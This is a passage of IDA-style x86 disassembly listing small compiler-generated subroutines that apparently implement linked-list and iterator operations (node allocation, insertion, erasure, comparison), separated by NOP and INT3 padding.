		lea	ecx, [esp+18h+var_C]
		call	sub_401C35
		test	al, al
		jnz	short loc_413FD3
		pop	edi


loc_414021:				; CODE XREF: sub_413FA0+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_413FA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414060	proc near		; CODE XREF: sub_401CE9j
		push	esi
		mov	esi, ecx
		call	sub_401D7A
		mov	eax, esi
		pop	esi
		retn
sub_414060	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414080	proc near		; CODE XREF: sub_401E51j
		mov	eax, [ecx]
		push	eax
		call	sub_401DC0
		add	esp, 4
		retn
sub_414080	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4140A0	proc near		; CODE XREF: sub_401F2Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401F14
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4140A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4140D0	proc near		; CODE XREF: sub_401C35j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40155A
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4140D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414100	proc near		; CODE XREF: sub_401DCAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401B5E
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_414100	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414140	proc near		; CODE XREF: sub_401195j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402095
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018AC
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4012EE
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CE4
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_414140	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4141B0	proc near		; CODE XREF: sub_4018ACj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40121C
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401BA4
		mov	eax, esi
		pop	esi
		retn	4
sub_4141B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4141F0	proc near		; CODE XREF: sub_402095j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401BA4
		mov	eax, esi
		pop	esi
		retn	4
sub_4141F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414220	proc near		; CODE XREF: sub_401DB6j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402095
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4019B5
		pop	esi
		pop	ecx
		retn	4
sub_414220	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414260	proc near		; CODE XREF: sub_40184Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402095
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018AC
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		add	esp, 0Ch
		retn
sub_414260	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142B0	proc near		; CODE XREF: sub_401136j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402095
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4018AC
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_4019F6
		test	al, al
		jz	short loc_414331
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_4142E3:				; CODE XREF: sub_4142B0+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4011A9
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_414315
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010C8
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401721
		jmp	short loc_41431E
; ---------------------------------------------------------------------------


loc_414315:				; CODE XREF: sub_4142B0+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4017E9


loc_41431E:				; CODE XREF: sub_4142B0+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_4019F6
		test	al, al
		jnz	short loc_4142E3
		pop	edi


loc_414331:				; CODE XREF: sub_4142B0+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4142B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414370	proc near		; CODE XREF: sub_401032j
		push	esi
		mov	esi, ecx
		call	sub_401D3E
		mov	eax, esi
		pop	esi
		retn
sub_414370	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414390	proc near		; CODE XREF: sub_4011A9j
		mov	eax, [ecx]
		push	eax
		call	sub_401F9B
		add	esp, 4
		retn
sub_414390	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4143B0	proc near		; CODE XREF: sub_4017E9j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40121C
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4143B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4143E0	proc near		; CODE XREF: sub_4019F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D70
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4143E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414410	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C76
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_414410	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414450	proc near		; CODE XREF: sub_40145Bj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40112C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40181B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4013AC
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401DBB
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_414450	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4144C0	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401ABE
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401C3F
		mov	eax, esi
		pop	esi
		retn	4
sub_4144C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414500	proc near		; CODE XREF: sub_40112Cj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401C3F
		mov	eax, esi
		pop	esi
		retn	4
sub_414500	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414530	proc near		; CODE XREF: sub_4013B1j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40112C
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BDB
		pop	esi
		pop	ecx
		retn	4
sub_414530	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414570	proc near		; CODE XREF: sub_401B45j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40112C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40181B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4013AC
		pop	esi
		add	esp, 0Ch
		retn
sub_414570	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4145C0	proc near		; CODE XREF: sub_401FA5j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40112C
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_40181B
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_4012F8
		test	al, al
		jz	short loc_414641
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_4145F3:				; CODE XREF: sub_4145C0+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_401311
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_414625
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401D6B
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401073
		jmp	short loc_41462E
; ---------------------------------------------------------------------------


loc_414625:				; CODE XREF: sub_4145C0+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_401168


loc_41462E:				; CODE XREF: sub_4145C0+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_4012F8
		test	al, al
		jnz	short loc_4145F3
		pop	edi


loc_414641:				; CODE XREF: sub_4145C0+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4145C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414680	proc near		; CODE XREF: sub_4020B3j
		push	esi
		mov	esi, ecx
		call	sub_401CF3
		mov	eax, esi
		pop	esi
		retn
sub_414680	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4146A0	proc near		; CODE XREF: sub_401311j
		mov	eax, [ecx]
		push	eax
		call	sub_40171C
		add	esp, 4
		retn
sub_4146A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4146C0	proc near		; CODE XREF: sub_401168j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401ABE
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4146C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4146F0	proc near		; CODE XREF: sub_4012F8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4013F7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4146F0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414720	proc near		; CODE XREF: sub_40111Dj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401F14
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	eax, esi
		pop	esi
		retn	4
sub_414720	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414760	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	eax, esi
		pop	esi
		retn	4
sub_414760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414790	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401B31
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401D7F
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_401F14
		mov	edx, [esp+1Ch+arg_8]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401DC0
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_402009
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+10h+arg_0]
		mov	ecx, esi
		call	sub_401C7B
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_414790	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414830	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401B86
		test	al, al
		jz	short loc_41487D
		push	edi
		mov	edi, [esp+8+arg_0]


loc_41484A:				; CODE XREF: sub_414830+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_40196A
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401FD2
		lea	ecx, [esp+8+arg_4]
		call	sub_401F6E
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401B86
		test	al, al
		jnz	short loc_41484A
		pop	edi


loc_41487D:				; CODE XREF: sub_414830+13j
		pop	esi
		retn	0Ch
sub_414830	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4148B0	proc near		; CODE XREF: sub_401E56j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401505
		mov	ecx, eax
		call	sub_401B31
		mov	esi, eax
		push	esi
		call	sub_401F14
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_401F14
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_401F14
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401DC0
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401492
		push	esi
		mov	ecx, edi
		call	sub_401BB3
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_4148B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414970	proc near		; CODE XREF: sub_401410j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401C35
		test	al, al
		jz	short loc_4149CA


loc_414988:				; CODE XREF: sub_414970+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401505
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401E56
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401C35
		test	al, al
		jnz	short loc_414988
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4149CA:				; CODE XREF: sub_414970+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_414970	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A00	proc near		; CODE XREF: sub_401D7Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401F55
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_414A15
		mov	edi, esi


loc_414A15:				; CODE XREF: sub_414A00+11j
		push	esi
		call	sub_401F14
		mov	[eax], edi
		mov	edi, [esp+0Ch+arg_4]
		add	esp, 4
		test	edi, edi
		jnz	short loc_414A2A
		mov	edi, esi


loc_414A2A:				; CODE XREF: sub_414A00+26j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_414A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A50	proc near		; CODE XREF: sub_401BB3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401CD0
		retn	4
sub_414A50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A70	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_414A70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A90	proc near		; CODE XREF: sub_401DC0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_414A90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414AB0	proc near		; CODE XREF: sub_401D7Aj
		mov	eax, ecx
		retn
sub_414AB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414AD0	proc near		; CODE XREF: sub_401C7Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4016AE
		mov	eax, esi
		pop	esi
		retn	4
sub_414AD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414B00	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F2D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_414B00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414B30	proc near		; CODE XREF: sub_40155Aj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_414B30	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414B60	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401E24
		mov	edi, eax
		push	edi
		call	sub_401140
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401B5E
		push	edi
		mov	ebx, eax
		call	sub_401140
		push	edi
		mov	[eax], ebx
		call	sub_401140
		mov	edi, [eax]
		push	edi
		call	sub_401140
		mov	ecx, [eax]
		push	ecx
		call	sub_40121C
		mov	edx, [esp+1Ch+arg_8]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401F9B
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401573
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+10h+arg_0]
		mov	ecx, esi
		call	sub_401BA4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_414B60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414C00	proc near		; CODE XREF: sub_401721j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010C8
		mov	ecx, eax
		call	sub_401E24
		mov	esi, eax
		push	esi
		call	sub_40121C
		push	esi
		mov	ebx, eax
		call	sub_401140
		mov	ecx, [eax]
		push	ecx
		call	sub_40121C
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401140
		push	esi
		mov	ebx, eax
		call	sub_40121C
		mov	eax, [eax]
		push	eax
		call	sub_401140
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401F9B
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401C26
		push	esi
		mov	ecx, edi
		call	sub_401CE4
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_414C00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414CC0	proc near		; CODE XREF: sub_4012EEj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4019F6
		test	al, al
		jz	short loc_414D1A


loc_414CD8:				; CODE XREF: sub_414CC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010C8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401721
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4019F6
		test	al, al
		jnz	short loc_414CD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_414D1A:				; CODE XREF: sub_414CC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_414CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414D50	proc near		; CODE XREF: sub_401B5Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401537
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_414D65
		mov	edi, esi


loc_414D65:				; CODE XREF: sub_414D50+11j
		push	esi
		call	sub_40121C
		mov	[eax], edi
		mov	edi, [esp+0Ch+arg_4]
		add	esp, 4
		test	edi, edi
		jnz	short loc_414D7A
		mov	edi, esi


loc_414D7A:				; CODE XREF: sub_414D50+26j
		push	esi
		call	sub_401140
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_414D50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414DA0	proc near		; CODE XREF: sub_401CE4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010C3
		retn	4
sub_414DA0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414DC0	proc near		; CODE XREF: sub_40121Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_414DC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



